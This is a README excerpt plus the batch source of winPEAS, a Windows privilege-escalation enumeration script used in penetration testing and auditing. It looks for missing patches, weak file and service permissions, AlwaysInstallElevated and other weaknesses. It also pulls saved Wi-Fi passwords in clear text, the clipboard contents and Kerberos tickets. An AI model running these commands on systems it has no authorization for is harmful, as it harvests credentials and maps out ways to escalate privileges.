    Details - [x] Systeminfo --SO version and patches-- (windows suggester) - [x] Common known exploits (2K, XP, 2K3, 2K8, Vista, 7) - [x] Audit Settings - [x] WEF Settings - [x] LAPS installed? - [x] LSA protection? - [x] Credential Guard? - [x] WDigest? - [x] Number of cached cred - [x] UAC Settings - [x] AV? - [x] PS Settings - [x] Mounted disks - [x] SCCM installed? - [x] Remote Desktop Credentials Manager? - [x] WSUS Settings - [x] Processes list - [x] Interesting file permissions of binaries being executed - [x] Interesting file permissions of binaries run at startup - [x] AlwaysInstallElevated? - [x] Network info (see below) - [x] Users info (see below) - [x] Current user privileges - [x] Service binary permissions - [x] Check if permissions to modify any service registy - [x] Unquoted Service paths - [x] DLL Hijacking in PATH - [x] Windows Vault - [x] DPAPI Master Keys - [x] AppCmd.exe? - [x] Check for unattended files - [x] Check for SAM & SYSTEM backups - [x] Check for cached GPP Passwords - [x] Check for McAffe SiteList.xml files - [x] Check for Cloud credentials - [x] Search for known registry to have passwords and keys inside (Winlogon...) - [x] Search for known files to have passwords inside (can take some minutes) - [x] If *long*, search files with passwords inside - [x] If *long*, search registry with passwords inside ### More enumeration - [x] Date & Time - [x] Env - [x] Installed Software - [x] Running Processes - [x] Current Shares - [x] Network Interfaces - [x] Used Ports - [x] Firewall - [x] ARP - [x] Routes - [x] Hosts - [x] Cached DNS - [x] Info about current user (PRIVILEGES) - [x] List groups (info about administrators) - [x] Current logon users
    ### Understanding icacls permissions Icacls is the program used to check the rights that groups and users have in a file or folder. Iclals is the main binary used here to check permissions. Its output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights). **Interesting permissions** ``` D - Delete access F - Full access (Edit_Permissions+Create+Delete+Read+Write) N - No access M - Modify access (Create+Delete+Read+Write) RX - Read and eXecute access R - Read-only access W - Write-only access ``` We will focus in **F** (full), **M** (Modify access) and **W** (write). **Use of Icacls by WinPEAS** When checking rights of a file or a folder the script search for the strings: *(F)* or *(M)* or *(W)* and the string ":\" (so the path of the file being checked will appear inside the output). It also checks that the found right (F, M or W) can be exploited by the current user. A typical output where you dont have any nice access is: ``` C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F) ``` An output where you have some interesting privilege will be like: ``` C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F) MYDOMAIN\john:(I)(F) ``` Here you can see that the privileges of user *NT AUTHORITY\SYSTEM* appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file. This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script. [More info about icacls here](https://ss64.com/nt/icacls.html) ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. ================================================ FILE: winPEAS/winPEASbat/winPEAS.bat ================================================ @ECHO OFF & SETLOCAL EnableDelayedExpansion TITLE WinPEAS - Windows local Privilege Escalation Awesome Script COLOR 0F CALL :SetOnce REM :: WinPEAS - Windows local Privilege Escalation Awesome Script REM :: Code by carlospolop; Re-Write by ThisLimn0 REM Registry scan of other drives besides REM /////true or false SET long=false REM Check if the current path contains spaces SET "CurrentFolder=%~dp0" IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" ( ECHO winPEAS.bat cannot run if the current path contains spaces. ECHO Exiting. EXIT /B 1 ) :Splash ECHO. CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m" CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m" CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m" CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m" CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m" CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m" CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m" CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m" CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m" CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m" CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m" CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m" CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m" CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m" CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m" CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m" CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m" ECHO. by carlospolop ECHO. ECHO. :Advisory REM // Increase progress in title by n percent CALL :T_Progress 0 ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m" CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m" CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m" ECHO. :SystemInfo CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" ECHO. [i] Check for vulnerabilities for the OS version with the applied patches ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits systeminfo ECHO. CALL :T_Progress 2 :ListHotFixes where wmic >nul 2>&1 if %errorlevel% equ 0 ( wmic qfe get Caption,Description,HotFixID,InstalledOn ) else ( powershell -command "Get-HotFix | Format-Table -AutoSize" ) set expl=no for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes) IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei) IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu) ECHO. CALL :T_Progress 2 :DateAndTime CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME" ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability date /T time /T ECHO. CALL :T_Progress 2 :AuditSettings CALL :ColorLine " %E%33m[+]%E%97m Audit Settings" ECHO. [i] Check what is being logged REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul ECHO. CALL :T_Progress 1 :WEFSettings CALL :ColorLine " %E%33m[+]%E%97m WEF Settings" ECHO. [i] Check where are being sent the logs REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul ECHO. CALL :T_Progress 1 :LAPSInstallCheck CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?" ECHO. [i] Check what is being logged REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul ECHO. CALL :T_Progress 1 :WindowsLAPSInstallCheck CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?" ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul ECHO. CALL :T_Progress 1 :LSAProtectionCheck CALL :ColorLine " %E%33m[+]%E%97m LSA protection?" ECHO. [i] Active if "1" REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul CALL :T_Progress 1 :LSACredentialGuard CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?" ECHO. [i] Active if "1" or "2" REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul ECHO. CALL :T_Progress 1 :LogonCredentialsPlainInMemory CALL :ColorLine " %E%33m[+]%E%97m WDigest?" ECHO. [i] Plain-text creds in memory if "1" reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul ECHO. CALL :T_Progress 1 :CachedCreds CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds" ECHO. [i] You need System-rights to extract them reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul CALL :T_Progress 1 :UACSettings CALL :ColorLine " %E%33m[+]%E%97m UAC Settings" ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul ECHO. CALL :T_Progress 1 :AVSettings CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)" where wmic >nul 2>&1 if %errorlevel% equ 0 ( WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List ) else ( powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName" ) ECHO.Checking for defender whitelisted PATHS reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul CALL :T_Progress 1 :PSSettings CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings" ECHO.PowerShell v2 Version: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul ECHO.PowerShell v5 Version: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul ECHO.Transcriptions Settings: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul ECHO.Module logging settings: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul ECHO.Scriptblog logging settings: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul ECHO. ECHO.PS default transcript history dir %SystemDrive%\transcripts\ 2>nul ECHO. ECHO.Checking PS history file dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul ECHO. CALL :T_Progress 3 :MountedDisks CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS" ECHO. [i] Maybe you find something interesting where wmic >nul 2>&1 if %errorlevel% equ 0 ( wmic logicaldisk get caption ) else ( fsutil fsinfo drives ) ECHO. CALL :T_Progress 1 :Environment CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT" ECHO. [i] Interesting information? ECHO. set ECHO. CALL :T_Progress 1 :InstalledSoftware CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE" ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications ECHO. dir /b "C:\Program Files" "C:\Program Files (x86)" | sort reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\" reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\" IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading) ECHO. CALL :T_Progress 2 :RemodeDeskCredMgr CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager" ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files ECHO. CALL :T_Progress 1 :WSUS CALL :ColorLine " %E%33m[+]%E%97m WSUS" ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" ECHO. CALL :T_Progress 1 :RunningProcesses CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES" ECHO. [i] Something unexpected is running? Check for vulnerabilities ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes tasklist /SVC ECHO. CALL :T_Progress 2 ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in) where wmic >nul 2>&1 if %errorlevel% equ 0 ( for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do ( icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ) ) else ( for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do ( icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ) ECHO. ECHO. [i] Checking directory permissions of running processes (DLL injection) where wmic >nul 2>&1 if %errorlevel% equ 0 ( for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do ( icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ) else ( for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do ( for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) ) ECHO. CALL :T_Progress 3 :RunAtStartup CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP" ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup ::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ CALL :T_Progress 2 icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ CALL :T_Progress 2 icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^ CALL :T_Progress 2 schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa") ECHO. CALL :T_Progress 2 :AlwaysInstallElevated CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?" ECHO. [i] If '1' then you can install a .msi file with admin privileges ;) ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul ECHO. CALL :T_Progress 2 :NetworkShares CALL :ColorLine "%E%32m[*]%E%97m NETWORK" CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES" net share ECHO. CALL :T_Progress 1 :NetworkInterfaces CALL :ColorLine " %E%33m[+]%E%97m INTERFACES" ipconfig /all ECHO. CALL :T_Progress 1 :NetworkUsedPorts CALL :ColorLine " %E%33m[+]%E%97m USED PORTS" ECHO. [i] Check for services restricted from the outside netstat -ano | findstr /i listen ECHO. CALL :T_Progress 1 :NetworkFirewall CALL :ColorLine " %E%33m[+]%E%97m FIREWALL" netsh firewall show state netsh firewall show config ECHO. CALL :T_Progress 2 :ARP CALL :ColorLine " %E%33m[+]%E%97m ARP" arp -A ECHO. CALL :T_Progress 1 :NetworkRoutes CALL :ColorLine " %E%33m[+]%E%97m ROUTES" route print ECHO. CALL :T_Progress 1 :WindowsHostsFile CALL :ColorLine " %E%33m[+]%E%97m Hosts file" type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#" CALL :T_Progress 1 :DNSCache CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE" ipconfig /displaydns | findstr "Record" | findstr "Name Host" ECHO. CALL :T_Progress 1 :WifiCreds CALL :ColorLine " %E%33m[+]%E%97m WIFI" for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) CALL :T_Progress 1 :BasicUserInfo CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups ECHO. CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER" net user %username% net user %USERNAME% /domain 2>nul whoami /all ECHO. CALL :T_Progress 2 :BasicUserInfoUsers CALL :ColorLine " %E%33m[+]%E%97m USERS" net user ECHO. CALL :T_Progress 1 :BasicUserInfoGroups CALL :ColorLine " %E%33m[+]%E%97m GROUPS" net localgroup ECHO. CALL :T_Progress 1 :BasicUserInfoAdminGroups CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS" REM seems to be localised net localgroup Administrators 2>nul net localgroup Administradores 2>nul ECHO. CALL :T_Progress 1 :BasicUserInfoLoggedUser CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS" quser ECHO. CALL :T_Progress 1 :KerberosTickets CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets" klist ECHO. CALL :T_Progress 1 :CurrentClipboard CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD" ECHO. [i] Any passwords inside the clipboard? powershell -command "Get-Clipboard" 2>nul ECHO. CALL :T_Progress 1 :ServiceVulnerabilities CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES" :::sysinternals external tool ::ECHO. ::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER" ::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service ::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here ::ECHO. [i] AUTHETICATED USERS ::accesschk.exe -uwcqv "Authenticated Users" * 